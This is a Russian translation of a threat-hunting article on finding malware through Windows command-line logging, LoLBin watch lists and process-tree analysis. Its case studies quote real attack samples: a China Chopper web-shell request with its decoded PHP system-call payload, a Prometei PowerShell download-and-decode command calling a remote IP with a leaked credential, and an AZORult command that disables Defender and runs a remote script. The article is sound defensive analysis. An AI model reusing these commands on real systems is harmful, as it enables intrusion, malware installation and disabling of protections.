Введение
Данная публикация - перевод статьи - HUNTING FOR MALWARE WITH COMMAND LINE LOGGING AND PROCESS TREES от Vanja Svajcer. Статья о том, как использовать логирование командной строки и выполняемых процессов для обнаружения неизвестных вредоносных атак.
Поиск вредоносной активности с помощью логирования командной строки
Анализ командных строк и дерева процессов позволяет составить картину того, что произошло во время атаки. Как только подозрительное событие идентифицировано, можно перейти ко всем событиям, сгенерированным конкретной системой, чтобы составить более подробную картину атаки для устранения последствий этой атаки.
Настройка Windows для логирования командной строки
Логирование командной строки может быть реализовано любой организацией без дополнительных денежных затрат. Начиная с версии Windows 8.1 появилась возможность сохранять события создания и завершения процессов в журнале событий безопасности Windows. Кроме того, шаблон для создания события может быть изменен, позволяя включить полное логирование командной строки.
Чтобы включить политику создания процесса аудита, необходимо отредактировать следующую групповую политику:
Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit
Configuration > Detailed Tracking > Audit Process Creation
Кроме этого, для логирования командной строки, а также событий процессов, нужно изменить шаблон события создания процесса. Шаблон изменяется по следующему пути:
Administrative Templates\System\Audit Process Creation
Необходимо настроить Windows Event Forwarding для централизованного сбора событий. В кейсе описанном автором использовали телеметрию продукта Cisco AMP, которая включает в себя командную строку, а также некоторую другую контекстную информацию, такую как уникальный идентификатор компьютера, SHA256 процесса, а также доступные файлы, IP-адреса и информацию о родительском процессе. Однако для поиска новых атак с использованием командной строки достаточно включить ведение журнала этих событий в групповой политике. Идентификатор событий, которые необходимо собрать и анализировать - 4688.
Поиск вредоносных программ с помощью событий командной строки
LoLBins
LoLBin - это любой двоичный файл, предоставляемый операционной системой, который обычно используется в легитимных целях, но которые также могут использовать для своих целей злоумышленники. Некоторые системные двоичные файлы по умолчанию имеют неожиданные побочные эффекты, которые помогают злоумышленникам скрыть свои действия после их использования. Регулярно появляются новые LoLBins, и рекомендуется следить за такими ресурсами, как LOLASProject.
Концепция LoLBin не нова и не является специфичной для Windows. Почти все обычные операционные системы, начиная с ранних версий DOS и Unix, содержали исполняемые файлы, которые злоумышленники могли использовать. В основном, злоумышленники используют LoLBin для:
• Загрузки и установки вредоносного кода;
• Выполнения вредоносного кода;
• Обхода контроля учетных записей пользователей;
• Обхода инструментов контроля приложений, например (WDAC).
Злоумышленники могут использовать другие утилиты, которые часто предустановлены производителями систем и могут быть обнаружены во время разведки. Эти исполняемые файлы могут быть подписанными утилитами, как инструменты обновления, конфигурационные файлы или драйверы.
Использование LoLBins часто сочетается с легитимными облачными сервисами, такими как GitHub, Pastebin, Amazon S3 storage, и облачными дисками, такими как Dropbox, Box или Google Drive. При использовании легитимных облачных сервисов для хранения вредоносного кода, C&C инфраструктуры (command-and-control) и эксфильтрации данных действия злоумышленников, с большей вероятностью, останутся незамеченными, поскольку генерируемый трафик не отличается от легитимного трафика. Поэтому для обнаружения такой активности анализ, в основном, связан с поиском исполняемых файлов, которые могут быть использованы для загрузки или выполнения вредоносного кода. В ходе описанных в статье исследований аналитиками ежедневно отслеживались схемы выполнения следующих исполняемых файлов, чтобы выявить их злонамеренное применение:
• powershell.exe
• bitsadmin.exe
• certutil.exe
• psexec.exe
• wmic.exe
• mshta.exe
• mofcomp.exe
• cmstp.exe
• windbg.exe
• cdb.exe
• msbuild.exe
• csc.exe
• regsvr32.exe
Анализ вредоносного использования PowerShell
В последнее время PowerShell очень часто является источником вредоносного кода, который может загружаться и выполняться в памяти Windows. Злоумышленники часто используют эту командную оболочку, построенную на платформе Windows management и .NET frameworks. Эта мощная среда администрирования имеет политику безопасности, которая может предотвратить выполнение ненадежного кода. Но, к сожалению, эту политику можно легко обойти с помощью одной опции командной строки (-ExecutionPolicy ByPass).
Можно было бы возразить, что выполнение PowerShell с возможностью обхода политики безопасности должно быть полностью заблокировано. Однако существует ряд легитимных инструментов, таких как Chocolatey package manager и некоторые инструменты системного управления, которые используют именно эту опцию.
Код PowerShell не чувствителен к регистру, и он будет принимать сокращенные версии параметров командной строки, если только этот параметр не является двусмысленным. Например, опция -EncodedCommand, которая принимает в качестве параметра строку в кодировке Base64, также может быть вызвана как -Encoded или даже -enc, который обычно используется злоумышленниками.
Популярные вредоносные программы, такие как Sodinokibi и GandCrab, в прошлом использовали рефлексивный метод загрузки DLL, который позволяют злоумышленникам загружать динамическую библиотеку в память процесса без использования Windows API.
Модуль Invoke-Obfuscation часто используется для создания полиморфных запутанных вариантов, которые не будут обнаружены антивирусными программами и другими средствами безопасности.
Вредоносное использование MSBuild
Со временем злоумышленники также осознали потенциал PowerShell, увеличив количество исполняемых файлов, используемых в качестве LoLBins. Msbuild.exe и компилятор C# csc.exe являются одними из наиболее часто используемых.
MSBuild является частью Microsoft Build Engine, системы сборки программного обеспечения, которая создает приложения в соответствии с конфигурацией во файле XML. Конфигурационный файл XML обычно создается с помощью Microsoft Visual Studio. Однако не требуется наличие в системе Visual Studio для компиляции. Злоумышленники используют преимущества MSBuild, которые позволяют им включать исходный код вредоносного ПО в конфигурационный файл MSBuild или файл проекта. Одной из особенностей конфигурационных файлов MSBuild является то, что разработчик может включить специальный XML-тег, который определяет встроенную задачу, содержащую исходный код, который будет скомпилирован и загружен MSBuild в память.
В зависимости от атрибутов задачи разработчик может указать новый класс, метод или фрагмент кода, которые автоматически выполняются при создании проекта. Исходный код может быть указан как внешний файл на диске. Разделение файла проекта и вредоносного исходного кода может еще сильнее затруднить обнаружение вредоносных запусков MSBuild. В ходе исследования были обнаружены свидетельства существования многих фреймворков, которые активно использовались при атаках, таких как Cobalt Strike, Metasploit Meterpreter, Covenant, NPS (не PowerShell) и Mimikatz.
К сожалению, для таких инструментов, как MSBuild, недостаточно просто проанализировать события командной строки, чтобы обнаружить подозрительный вызов. Большинство файлов конфигурации, даже при легитимных вызовах, будут созданы во временной папке пользователя. Здесь могут помочь деревья процессов, о которых будет написано ниже.
Анализ использования LoLBins
В ходе исследования анализировалась телеметрия, содержащая имена запущенных процессов вместе с криптографическими контрольными суммами файлов, что помогло отслеживать траекторию файлов и выстраивать отношения между родительским и дочерним процессами для анализа.
В анализе предполагалось, что активность подозрительна, если наблюдался любой вызов следующих процессов с URL в качестве параметра:
• powershell.exe
• bitsadmin.exe
• certutil.exe
• mshta.exe
• regsvr32.exe
Такое упрощенное определение "подозрительным" - вызова процесса означает, что будет большой процент ложно-положительных срабатываний и потребуется много ручного труда для анализа полученных данных. Например, для вызова PowerShell с URL-адресом в командной строке, в результате анализа получили, что только 7 процентов первоначально выбранных вызовов, скорее всего, являются вредоносными.
При таком подходе, процент подозрительных вызовов, по отношению к общему количеству вызовов примерно 0,2%. Это означает, что по крайней мере 99,8% всех вызовов LoLBin можно исключить из дальнейшего анализа. В качестве примера мы возьмем PowerShell - наихудший показатель для потенциально подозрительных процессов PowerShell составил 0,2%. Однако, как упоминалось ранее, только 7% из них требуют тщательного анализа, что снижает этот показатель до 0,014%. Таким образом, по меньшей мере 99,986% вызовов PowerShell являются легитимными.
Затем были проанализированы эти выбранные подозрительные вызовы, для обнаружения действительно вредоносных. Простое эмпирическое правило для URL-адресов, которое можно использовать для обнаружения вызовов, которые с большей долей вероятности могут оказаться вредоносными, заключается в поиске вызовов LoLBin в сочетании с:
• Внешний IP-адрес
• Любой домен .net
• Любой домен .eu
• Любой домен .ru
• Любой URL-адрес, заканчивающийся расширением исполняемого файла или изображения (например, .EXE, .LNK, .DLL, .JPG, .PNG и т.д.)
• Любая ссылка на Pastebin.com и его клоны
• Любые ссылки на GitHub или любые другие сайты-хранилища исходного кода.
В целом, при поиске вредоносных командных строк важно учитывать следующее:
• Аргументы командной строки PowerShell и других скриптовых движков
• Расшифровка команд в кодировке Base64, заданных в качестве аргумента в PowerShell
• Обнаружение обфускации, применяемого такими модулями, как Invoke-Obfuscation
• Использование командлета Invoke-Expression (iex)
• URL-адреса, указанные в командной строке, mshta.exe, regsvr32.exe
• Нестандартные пути исполняемых файлов с именами дефолтовых процессов Windows
• Имена с ошибками, похожие на дефолтовые исполняемые файлы
• Неподписанные исполняемые файлы, запускаемые с использованием имен дефолтовых программ Windows
Поиск конкретных атак
Хотя проверка командной строки не является особо сложным методом защиты систем, она может быть весьма полезна для выявления определенных типов и классов вредоносных программ. Хорошим примером являются PHP-бэкдоры, которые могут показывать, что PHP-процессы выполняют другие утилиты таким образом, который довольно необычен для чистой системы.
В качестве примера приведём анализ China Chopper в телеметрии. China Chopper - это инструмент, который позволяет злоумышленникам удаленно управлять целевой системой, на которой до атаки должно быть запущено веб-приложение. Веб-оболочка работает на разных платформах, но в данном примере будет информация только для Windows.
В ходе исследования было обнаружено, что веб-серверы Internet Information Services (IIS) и Apache были скомпрометированы China Chopper. Клиент China Chopper содержит виртуальную консоль, которая отправляет команды на сервер с помощью простого HTTP POST-запроса, содержащего одну переменную, имя которой определяется во время настройки. В зависимости от команд клиент отправляет определенное количество параметров от z0 до zn. Все параметры перед отправкой кодируются стандартным Base64. Параметр z0 всегда содержит код для анализа других параметров, запуска запрошенных команд и возврата результатов клиенту.
Например:
test=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgIkM6XHhhbXBwXGh0ZG9jc1xkYXNoYm9hcmRcIiZuZXRzdGF0IC1hbiB8IGZpbmQgIkVTVEFCTElTSEVEIiZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D |
Параметры в этом запросе после декодирования:
z0 - @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("- >|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_ FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?" ret={$ret} ":"";;echo("|<-");die(); z1 - cmd z2 - cd /d "C:\xampp\htdocs\dashboard\"&netstat -an | find "ESTABLISHED"&echo [S]&cd&echo[E] |
Характерным признаком заражения China Chopper является наличие строки "[S]&cd&echo[E]" в конце командной строки, которая будет видна в журнале событий. При поиске определенных семейств вредоносных программ с помощью командной строки важно тщательно проанализировать все известные индикаторы компрометации (IoC) и выявить уникальные закономерности, которые позволят идентифицировать активность в журналах событий, не вызывая высокого процента ложных срабатываний.
Поиск вредоносной активности с помощью дерева процессов
Дерево процессов - это просто граф, в котором узлы графа являются процессами, а ребра описывают отношения между узлами и могут быть созданы, завершены или записаны в него (для внедрения в процесс). Узлы могут содержать метаданные, которые помогают установить контекст, такие как командную строку, IP-адреса, URL-адреса и т.д.
Ниже приведен пример дерева процессов для MSBuild.
На рисунке виден пример вредоносной активности, начинающейся с зараженного документа Word. Команды мониторинга должны регулярно проверять родительско-дочерние отношения между процессами. В этом случае наблюдение за тем, как winword.exe запускает MSBuild.exe процесс, а MSBuild.exe запускает iexplore.exe, является весьма подозрительным.
Схема данных в виде дерева процессов/графа
На рисунке ниже показана простая схема с базовыми данными, которая может быть полезна для быстрой сортировки событий, процессов, файлов и доменов, наблюдаемых в организации.
При такой реализации представления деревьев, появится возможность запрашивать и просматривать деревья из любой точки, которая будет обнаружена при поиске новых угроз, используя командные строки в качестве входных данных.
Процесс относительно прост, хотя и может занять длительное время, особенно при поиске модульных типов вредоносных программ. Как только обнаружена подозрительные события командной строки, дерево процессов используется для извлечения всех остальных событий командных строк, а также контрольных сумм основных модулей процесса. Для каждого из них переходим дальше по дереву.
Практический пример: криптомайнер Prometei
В качестве практического примера рассмотрим активность злоумышленников по добыче криптовалюты Prometei, в которой используются несколько модулей, каждый из которых специализируется на своей собственной задаче, но обнаруживается путем анализа дерева процессов. Злоумышленники действовали в течение как минимум трех месяцев, начиная с конца марта 2020 года, и в среднем ежедневно затрагивалось около 10 000 систем, а к середине июня данная активность принесла злоумышленникам более 3500 долларов США, принося в среднем чуть менее 50 долларов в день.
Злоумышленник использовал модифицированный Mimikatz для сбора учетных данных пользователей, а затем отдельные модули для распространения по SMB и RDP, повторно используя обнаруженные пароли и получая другой список возможных целей и учетных данных пользователей. XmrigCC используется для майнинга, и трафик может быть проксирован через сеть Tor путем добавления зараженной системы с помощью модифицированной версии программного обеспечения Tor router.
Обнаружить Prometei получилось благодаря единственной обнаруженной командной строкой PowerShell (см. ниже), которая была запущена процессом svchost.exe, расположенным по нестандартному пути (C:\Windows\ vs C:\Windows\System32). Переход по дереву процессов svchost.exe привел к обнаружению пути C:\Windows\Dell, который содержит остальные модули Prometei.
C:\Windows\System32\cmd.exe /C taskkill -f -im rdpcIip.exe&del C:\windows\dell\rdpcIip. exe&powershell.exe if(-not (Test-Path 'C:\windows\dell\miwalk.exe')) {$b64=$(New-Object Net.WebClient).DownloadString('http://69.84.240.57:180/miwalk.txt');$data=[System.Convert ]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bxor (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes('C:\windows\dell\miwalk.exe',$bt);}&powershell. exe if(-not (Test-Path 'C:\windows\dell\rdpcIip.exe')) {$b64=$(New-Object Net.WebClient). DownloadString('http://69.84.240.57:180/walker14364.php');$data=[System.Convert]::FromBas e64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data. Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bxor (($i*3) -band 0xFF))-$j) -band 0xFF);}[io. file]::WriteAllBytes('C:\windows\dell\rdpcIip.exe',$bt);}&C:\Windows\svchost.exe /sha1chk 58899ed72b617c7e89455d55f5663f44d7eb24d8C:\windows\dell\miwalk.exe&C:\Windows\svchost.exe / sha1chk e5ffb2a8ceb70e7280fb5ac9f8acac389ed0181e C:\windows\dell\rdpcIip.exe&C:\windows\dell\ rdpcIip.exe ADMINISTRADOR Cohersa2019 |
При поиске подозрительных событий командных строк особое внимание необходимо уделять непосредственным родительским и непосредственным дочерним элементам процесса. Например, известно, что многие атаки начинаются с формата документа, где winword.exe, excel.exe или powerpnt.exe могут запускать другие процессы, включая LOLBins, такие как PowerShell, mshta.exe, regsvr32.exe, cmd.exe и т.д. Это может использоваться для поиска подозрительных вызовов.
Практический пример: AZORult
Еще один успешный пример поиска начался с событий командной строки в кодировке Base64, которая загрузила загрузчик вредоносных программ PowerShell. Исходная командная строка выглядела так:
Set-MpPreference -DisableRealtimeMonitoring $true\r\ncmd /c reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\ Policies\Microsoft\Windows Defender' /v DisableAntiSpyware /t REG_DWORD /d 1 /f\r\ncmd /c sc stop wuauserv\r\ncmd /c sc config wuauserv start= disabled iex ((New-Object System.Net.WebClient).DownloadString('https://gist.githubusercontent.com/ mysslacc/a5b184d9d002bf04007c4bbd2a53eeea/raw/c6f8b4c36e48425507271962855f3e2ac695f99f/baseba')) |
Просмотр дерева процессов позволил найти исполняемый загрузчик и ISO-образ, на котором размещен загрузчик.
После прохождения всего дерева процессов были найдены другие модули, после чего была сформирована полная картина атаки, в которой использовались AZORult, инструмент удаленного доступа Remcos, Dark VNC-клиент и криптомайнер XmrigCC.
Выводы
Сложной задачей при расследовании инцидентов кибербезопасности и поиске угроз в инфраструктуре является обнаружение реальных индикаторов компрометации их шума легитимных событий. Для поиска вредоносных активностей и расследования инцидентов централизованный сбор событий командной строки является ценным инструментом.